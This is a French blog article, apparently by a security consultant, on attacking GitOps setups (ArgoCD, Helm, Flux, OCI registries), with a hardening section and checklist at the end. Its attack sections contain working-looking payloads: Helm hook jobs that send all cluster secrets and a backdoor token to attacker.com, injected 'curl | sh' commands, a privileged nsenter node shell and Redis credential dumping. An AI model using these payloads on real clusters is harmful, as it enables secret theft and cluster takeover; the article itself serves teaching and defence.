Expert Cybersécurité & IA
Besoin d'un audit de sécurité ?
Devis personnalisé sous 24h
Techniques de Hacking / Attaques CI/CD GitOps

Attaques CI/CD Avancees : GitOps, ArgoCD et Flux

Par Ayi NEDJIMI 15 fevrier 2026 Lecture : 45 min
#GitOps #ArgoCD #Flux #Helm #Kubernetes #CICD

Auteur : Ayi NEDJIMI    Date : 15 fevrier 2026


1. Introduction GitOps

GitOps est un paradigme operationnel qui utilise Git comme source unique de verite pour la configuration de l'infrastructure et des applications. Popularise par Weaveworks en 2017, GitOps repose sur deux principes fondamentaux : l'etat desire de l'infrastructure est declare dans un repository Git, et un agent de reconciliation (ArgoCD, Flux, Jenkins X) synchronise automatiquement l'etat reel du cluster Kubernetes avec l'etat declare dans Git.

Cette approche offre des avantages considerables en termes de tracabilite, reproductibilite et automatisation. Cependant, elle concentre egalement les risques de securite sur un nombre limite de composants critiques : le repository Git (source de verite), le controleur GitOps (ArgoCD, Flux), et le pipeline de reconciliation. La compromission de l'un de ces composants peut mener au deploiement de code malveillant dans l'ensemble des environnements geres, y compris la production.

Cet article explore les techniques d'attaque avancees ciblant les architectures GitOps, avec un focus particulier sur ArgoCD, Flux et Helm. Nous analyserons les vecteurs d'attaque specifiques a chaque composant, presenterons des scenarios d'exploitation concrets, et detaillerons les strategies de durcissement pour securiser vos pipelines GitOps.

Audience cible : DevSecOps engineers, architectes Cloud/Kubernetes, Red Teamers, et equipes de securite responsables des pipelines CI/CD.


2. ArgoCD RBAC Bypass

Architecture ArgoCD et surface d'attaque

ArgoCD est le controleur GitOps le plus deploye pour Kubernetes, avec plus de 15 000 etoiles GitHub et une adoption massive dans l'industrie. Son architecture comprend plusieurs composants critiques :

Exploitation du RBAC ArgoCD

Le systeme RBAC d'ArgoCD est base sur Casbin et configure via un ConfigMap. Les misconfigurations RBAC sont extremement frequentes et constituent le premier vecteur d'attaque :

# Configuration RBAC ArgoCD typique (argocd-rbac-cm ConfigMap)
# Fichier: argocd-rbac-cm.yaml

apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  # DANGEREUX: politique par defaut trop permissive
  policy.default: role:readonly    # Devrait etre role:''
  policy.csv: |
    # Regles Casbin: p, subject, resource, action, object
    p, role:admin, *, *, */*, allow
    p, role:developer, applications, get, */*, allow
    p, role:developer, applications, sync, */*, allow
    # DANGEREUX: Les developpeurs peuvent sync TOUTES les apps
    # Y compris les apps infrastructure/production

    # Binding des groupes SSO aux roles
    g, admin-group, role:admin
    g, dev-group, role:developer

# Attaque 1: Exploitation de la politique par defaut
# Si policy.default = role:readonly
# TOUT utilisateur authentifie peut lire toutes les configurations
# Y compris les secrets Helm values et les Git credentials

# Verification des permissions actuelles
$ argocd account can-i get applications '*/*'
yes

$ argocd account can-i sync applications '*/*'
yes  # PROBLEME: sync sur tous les projets

# Attaque 2: Abuse du wildcard dans les regles RBAC
# Si un role a "applications, *, */*, allow"
# L'utilisateur peut creer, modifier et supprimer des applications
# Il peut pointer une application vers un repo Git malveillant

# Attaque 3: Escalade via les Projets ArgoCD
# Un AppProject avec sourceRepos: '*' et destinations: '*'
# permet de deployer n'importe quoi depuis n'importe quel repo
$ argocd proj get default
Destinations: *,*
Source Repos: *
# Aucune restriction -> compromission possible

CVE connues et exploitation

# CVE-2024-31989: Privilege Escalation in ArgoCD
# Unprivileged pod in argocd namespace can steal admin credentials
# via Redis cache (argocd-redis) accessible without authentication

# Exploitation:
# 1. Obtenir un shell dans un pod du namespace argocd
# 2. Se connecter au Redis interne (pas d'auth par defaut)
$ redis-cli -h argocd-redis.argocd.svc.cluster.local
> KEYS *
1) "app|*"
2) "mfst|*"
3) "git-creds|*"     # Credentials Git !
4) "cluster|*"       # Tokens de clusters !

> GET "git-creds|https://github.com/org/infra-repo.git"
"{\"username\":\"deploy-bot\",\"password\":\"ghp_XXXXXXXXXXXX\"}"

# CVE-2024-40634: ArgoCD DoS via crafted JWT
# Envoi d'un JWT maliciously crafted provoquant un crash de argocd-server

# CVE-2022-24348: Path Traversal in ArgoCD
# Permet de lire des fichiers en dehors du repo clone
# Exploitation via une Application ArgoCD pointant vers un repo
# contenant des symlinks malveillants
$ ln -s /etc/shadow link_to_shadow
$ git add link_to_shadow && git commit -m "exploit"
# ArgoCD suit le symlink et expose le contenu du fichier

3. Helm Chart Injection

Attaques sur les templates Helm

Helm est le gestionnaire de packages de facto pour Kubernetes. Les Helm charts utilisent le moteur de templates Go qui, s'il est mal controle, peut etre exploite pour injecter du contenu malveillant dans les manifests Kubernetes generes. Plusieurs vecteurs d'attaque sont possibles :

# Attaque 1: Injection via les values.yaml
# Si un attaquant controle les values passees a Helm
# (via un PR dans le repo GitOps, ou via l'UI ArgoCD)

# values.yaml malveillant:
image:
  repository: "nginx"
  tag: "latest\"\n    command: [\"sh\", \"-c\", \"curl http://attacker.com/shell.sh | sh\"]"

# Le template Helm genere un manifest avec la commande injectee
# templates/deployment.yaml:
# image: {{ .Values.image.repository }}:{{ .Values.image.tag }}

# Resultat apres templating:
containers:
  - name: app
    image: "nginx:latest"
    command: ["sh", "-c", "curl http://attacker.com/shell.sh | sh"]

# Attaque 2: Exploitation des hooks Helm
# Les hooks pre-install, post-install, pre-upgrade s'executent
# dans le cluster avec les privileges du service account

# Chart malveillant avec hook:
# templates/hook.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: "pre-install-hook"
  annotations:
    "helm.sh/hook": pre-install
    "helm.sh/hook-weight": "-5"
spec:
  template:
    spec:
      serviceAccountName: argocd-application-controller  # Privileges eleves!
      containers:
        - name: exploit
          image: bitnami/kubectl
          command:
            - /bin/sh
            - -c
            - |
              # Exfiltrer tous les secrets du cluster
              kubectl get secrets -A -o json | curl -X POST -d @- http://attacker.com/secrets
              # Creer un ClusterRoleBinding admin
              kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default

# Attaque 3: Dependency Confusion Helm
# Injection d'un chart malveillant dans un registry public
# avec le meme nom qu'un chart prive interne

# Chart.yaml de la victime:
dependencies:
  - name: internal-lib        # Chart interne
    version: "1.0.0"
    repository: "https://charts.internal.com"

# L'attaquant publie "internal-lib" version "99.0.0"
# sur un registry public (artifacthub.io, etc.)
# Si la resolution de dependances n'est pas stricte,
# Helm telechargera la version malveillante

Helm plugins et post-renderers malveillants

Helm supporte les plugins et les post-renderers qui s'executent localement (ou dans le repo-server ArgoCD) avec les memes privileges que le processus Helm. Un chart malveillant peut inclure des scripts post-render qui s'executent pendant la phase de templating :

# Post-renderer malveillant
# Le post-renderer est un executable appele par Helm
# apres le templating, avant l'application au cluster

# Dans le ArgoCD Application manifest:
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: malicious-app
spec:
  source:
    repoURL: https://github.com/attacker/chart
    helm:
      # Le post-renderer s'execute dans le repo-server ArgoCD
      # Acces aux credentials Git, aux secrets Helm, etc.
      postRenderers:
        - kustomize:
            patches:
              - target:
                  kind: Deployment
                patch: |
                  - op: add
                    path: /spec/template/spec/containers/0/env/-
                    value:
                      name: EXFIL
                      valueFrom:
                        secretKeyRef:
                          name: argocd-secret
                          key: admin.password

4. Flux Source Controller Abuse

Architecture Flux v2 et composants critiques

Flux v2 (Flux CD) est le second controleur GitOps majeur pour Kubernetes, incube par la CNCF. Son architecture modulaire repose sur plusieurs controleurs independants :

Exploitation du Source Controller

# Attaque 1: GitRepository Poisoning
# Si l'attaquant obtient un acces en ecriture au repository Git
# surveille par Flux, il peut deployer n'importe quoi

# Flux GitRepository CRD:
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
  name: infra-repo
  namespace: flux-system
spec:
  url: https://github.com/org/infrastructure
  ref:
    branch: main
  interval: 1m    # Reconciliation toutes les minutes!
  secretRef:
    name: git-credentials  # Deploy key ou token

# L'attaquant push un manifest malveillant dans le repo:
# Deploiement d'un pod privileged avec hostPID et hostNetwork
apiVersion: v1
kind: Pod
metadata:
  name: node-shell
  namespace: kube-system
spec:
  hostPID: true
  hostNetwork: true
  containers:
    - name: shell
      image: alpine
      command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
      securityContext:
        privileged: true

# Flux detecte le changement dans les 60 secondes et l'applique!

# Attaque 2: Webhook Trigger Abuse
# Le Notification Controller expose des endpoints webhook
# Si non authentifie, un attaquant peut forcer une reconciliation

# Flux Receiver CRD (webhook):
apiVersion: notification.toolkit.fluxcd.io/v1
kind: Receiver
metadata:
  name: github-webhook
  namespace: flux-system
spec:
  type: github
  events:
    - "ping"
    - "push"
  secretRef:
    name: webhook-token
  resources:
    - kind: GitRepository
      name: infra-repo

# Si le webhook-token est faible ou expose:
$ curl -X POST https://flux-webhook.company.com/hook/abc123 \
    -H "X-Hub-Signature-256: sha256=..." \
    -d '{"ref":"refs/heads/main"}'

# Force la reconciliation immediate, reduisant la fenetre
# entre le push malveillant et le deploiement

Attaque sur les Kustomizations Flux

# Kustomization avec postBuild variable substitution
# Peut etre exploite pour injecter des valeurs malveillantes

apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: app
  namespace: flux-system
spec:
  sourceRef:
    kind: GitRepository
    name: infra-repo
  path: ./clusters/production
  postBuild:
    substitute:
      CLUSTER_NAME: production
      # Si ces valeurs proviennent d'un ConfigMap editable:
    substituteFrom:
      - kind: ConfigMap
        name: cluster-config  # Modifiable par un attaquant avec RBAC?

# Si l'attaquant modifie le ConfigMap:
apiVersion: v1
kind: ConfigMap
metadata:
  name: cluster-config
  namespace: flux-system
data:
  IMAGE_TAG: "latest\"\n    command: [\"sh\",\"-c\",\"reverse_shell attacker.com 4444\"]"

# La substitution injecte la commande dans les manifests

5. Repo Poisoning Avance

Strategies de compromission des repositories

Le repository Git est la source unique de verite en GitOps. Sa compromission est le scenario le plus critique car elle permet le deploiement de code malveillant dans tous les environnements geres. Les vecteurs d'attaque pour compromettre un repository GitOps sont multiples :

# Technique: Modification subtile dans un PR
# L'attaquant soumet un PR qui semble corriger un bug mineur
# mais contient une modification malveillante cachee

# Diff visible du PR (semble inoffensif):
-  replicas: 3
+  replicas: 5    # "Performance improvement"

# Modification cachee dans un fichier Kustomize moins visible:
# overlays/production/patches/deployment.yaml
-  image: company/app:v2.1.0
+  image: company/app:v2.1.0
+  env:
+    - name: INIT_SCRIPT
+      value: "curl -s http://evil.com/c2.sh | sh"

# Technique: Commit signing bypass
# Si la branch protection requiert des commits signes,
# l'attaquant peut exploiter la confiance dans les merge commits

# GitHub ne verifie pas les signatures sur les merge commits
# generes par la plateforme elle-meme
# Un PR approve et merge cree un commit "verified" sans signature GPG

# Technique: Git submodule abuse
# Ajout d'un submodule pointant vers un repo malveillant
$ git submodule add https://github.com/attacker/malicious-lib lib/helper
# Le contenu du submodule est clone et deploye par le controleur GitOps

6. OCI Artifact Attacks

OCI comme source GitOps

Les specifications OCI (Open Container Initiative) sont de plus en plus utilisees pour stocker et distribuer des artifacts non-container : Helm charts, Kustomize overlays, WASM modules, et configurations Kubernetes. ArgoCD et Flux supportent nativement les OCI repositories comme source de configuration, introduisant de nouveaux vecteurs d'attaque :

# Flux OCIRepository source
apiVersion: source.toolkit.fluxcd.io/v1beta2
kind: OCIRepository
metadata:
  name: app-config
  namespace: flux-system
spec:
  url: oci://registry.company.com/configs/app
  ref:
    tag: latest    # DANGEREUX: tag mutable!
  interval: 5m
  provider: generic

# Attaque 1: Tag Overwrite
# Les tags OCI sont mutables (comme les tags Docker)
# L'attaquant push un artifact malveillant avec le meme tag
$ flux push artifact oci://registry.company.com/configs/app:latest \
    --path=./malicious-configs \
    --source="$(git config --get remote.origin.url)" \
    --revision="$(git rev-parse HEAD)"

# Flux detecte le changement de digest et reconcilie!

# Attaque 2: Registry Takeover
# Si le registry OCI est expose sans authentification
# ou avec des credentials par defaut
$ crane auth login registry.company.com -u admin -p admin
$ crane push malicious.tar.gz registry.company.com/configs/app:v1.0

# Attaque 3: Supply Chain via Cosign verification bypass
# Si la verification de signature Cosign n'est pas activee:
spec:
  verify:
    provider: cosign    # Desactive par defaut!
    secretRef:
      name: cosign-pub-key

# Sans verification, n'importe quel artifact est accepte

Helm OCI chart poisoning

Les Helm charts stockes en OCI registry sont particulierement vulnerables car ils peuvent contenir des hooks pre/post-install qui s'executent automatiquement lors du deploiement. Un chart OCI empoisonne peut executer du code arbitraire dans le cluster avant meme que l'application ne soit deployee.

# Publication d'un chart Helm malveillant en OCI
$ helm package ./malicious-chart
$ helm push malicious-chart-1.0.0.tgz oci://registry.company.com/charts

# Le chart contient un hook pre-install:
# templates/pre-install-hook.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: init-job
  annotations:
    helm.sh/hook: pre-install
    helm.sh/hook-delete-policy: hook-succeeded
spec:
  template:
    spec:
      serviceAccountName: flux-system    # SA du controleur Flux
      automountServiceAccountToken: true
      containers:
        - name: init
          image: bitnami/kubectl:latest
          command:
            - /bin/sh
            - -c
            - |
              # Creer un service account admin
              kubectl create sa backdoor -n kube-system
              kubectl create clusterrolebinding backdoor \
                --clusterrole=cluster-admin \
                --serviceaccount=kube-system:backdoor
              # Exfiltrer le token
              TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h)
              curl -s "http://attacker.com/token?t=$TOKEN"
      restartPolicy: Never

7. Hardening GitOps

Securisation d'ArgoCD

# 1. RBAC strict - Principe de moindre privilege
apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:''    # AUCUN acces par defaut
  policy.csv: |
    # Roles granulaires par projet
    p, role:dev-team-a, applications, get, team-a/*, allow
    p, role:dev-team-a, applications, sync, team-a/staging-*, allow
    # PAS de sync en production pour les devs
    p, role:sre, applications, *, */*, allow

    # Binding strict
    g, team-a-group, role:dev-team-a
    g, sre-group, role:sre

# 2. AppProject restrictions
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: team-a
  namespace: argocd
spec:
  # Sources autorisees (pas de wildcard!)
  sourceRepos:
    - 'https://github.com/company/team-a-*'
  # Destinations limitees
  destinations:
    - namespace: 'team-a-*'
      server: https://kubernetes.default.svc
  # Ressources interdites (securite)
  namespaceResourceBlacklist:
    - group: ''
      kind: ResourceQuota
    - group: ''
      kind: LimitRange
  clusterResourceWhitelist: []  # Aucune ressource cluster

# 3. Redis avec authentification
apiVersion: apps/v1
kind: Deployment
metadata:
  name: argocd-redis
spec:
  template:
    spec:
      containers:
        - name: redis
          args:
            - --requirepass
            - $(REDIS_PASSWORD)
          env:
            - name: REDIS_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: argocd-redis-secret
                  key: password

# 4. Verification de signature des commits Git
apiVersion: argoproj.io/v1alpha1
kind: Application
spec:
  source:
    repoURL: https://github.com/company/infra
  # Exiger des commits signes GPG
  # Configure via argocd-cm ConfigMap:
  # gpg.keys: 

Securisation de Flux

# 1. Verification de signature des commits (Flux v2)
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
  name: infra-repo
  namespace: flux-system
spec:
  url: https://github.com/company/infrastructure
  ref:
    branch: main
  verify:
    mode: HEAD      # Verifier le dernier commit
    secretRef:
      name: pgp-public-keys  # Cles GPG des developpeurs autorises

# 2. Verification Cosign pour les OCI artifacts
apiVersion: source.toolkit.fluxcd.io/v1beta2
kind: OCIRepository
spec:
  verify:
    provider: cosign
    secretRef:
      name: cosign-pub-key
    matchOIDCIdentity:
      - issuer: "https://token.actions.githubusercontent.com"
        subject: "repo:company/infra:ref:refs/heads/main"

# 3. Multi-tenancy avec ServiceAccount par Kustomization
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
spec:
  serviceAccountName: team-a-deployer  # SA avec droits limites
  targetNamespace: team-a-production   # Namespace cible fixe

# 4. Network Policies pour isoler les controleurs Flux
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: flux-source-controller
  namespace: flux-system
spec:
  podSelector:
    matchLabels:
      app: source-controller
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0  # Acces Git/OCI registries
      ports:
        - port: 443
          protocol: TCP
        - port: 22
          protocol: TCP
    - to:
        - namespaceSelector:
            matchLabels:
              name: flux-system
      # Communication inter-controleurs uniquement

Checklist de securisation GitOps

  • Repositories : Branch protection, code review obligatoire, commits signes GPG, CODEOWNERS sur les fichiers critiques.
  • ArgoCD : RBAC strict sans wildcard, AppProjects avec restrictions, Redis authentifie, audit logging active.
  • Flux : Verification de signature des sources (Git commit signing, Cosign pour OCI), ServiceAccount par Kustomization, Network Policies.
  • Helm : Provenance verification, pas de hooks en production sauf exception approuvee, pinning des versions de charts (pas de "latest").
  • Secrets : Utiliser Sealed Secrets, SOPS ou External Secrets Operator. Jamais de secrets en clair dans Git.
  • OCI : Signature Cosign obligatoire, tags immutables (digest-based references), scanning de vulnerabilites.
  • Monitoring : Alerter sur les changements de configuration GitOps, les syncs non planifies, et les echecs de verification de signature.

8. Conclusion

Les architectures GitOps, en centralisant la gestion de l'infrastructure dans des repositories Git et des controleurs de reconciliation, offrent des avantages operationnels considerables mais introduisent egalement des risques de securite specifiques. La compromission d'un repository GitOps ou d'un controleur comme ArgoCD ou Flux peut avoir des consequences catastrophiques, permettant le deploiement de code malveillant dans l'ensemble des environnements geres.

Les attaques decrites dans cet article -- RBAC bypass ArgoCD, Helm chart injection, Flux source controller abuse, repo poisoning, et OCI artifact attacks -- demontrent que la securisation d'une architecture GitOps necessite une approche holistique couvrant chaque composant de la chaine : du repository Git au cluster Kubernetes, en passant par les controleurs GitOps, les registries d'artifacts et les pipelines CI/CD.

La mise en oeuvre des recommandations de durcissement presentees -- RBAC strict, verification de signatures, isolation reseau, monitoring des changements -- est essentielle pour beneficier des avantages de GitOps sans compromettre la securite. Les equipes DevSecOps doivent integrer la securite GitOps dans leur posture de securite globale et considerer les controleurs GitOps comme des composants critiques meritant le meme niveau de protection que les controleurs de domaine ou les serveurs de secrets.

Passez a l'Action

Ne laissez pas votre infrastructure exposee. Nos consultants certifies realisent des audits de securite approfondis en simulant les techniques presentees dans cet article.

Demander un Devis Personnalise
Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior, certifié OSCP, CISSP et ISO 27001 Lead Auditor. Plus de 15 ans d'expérience en pentest, audit et solutions IA.

Besoin d'une expertise en cybersecurite ?

Protegez votre infrastructure contre les attaques avancees

Nos Services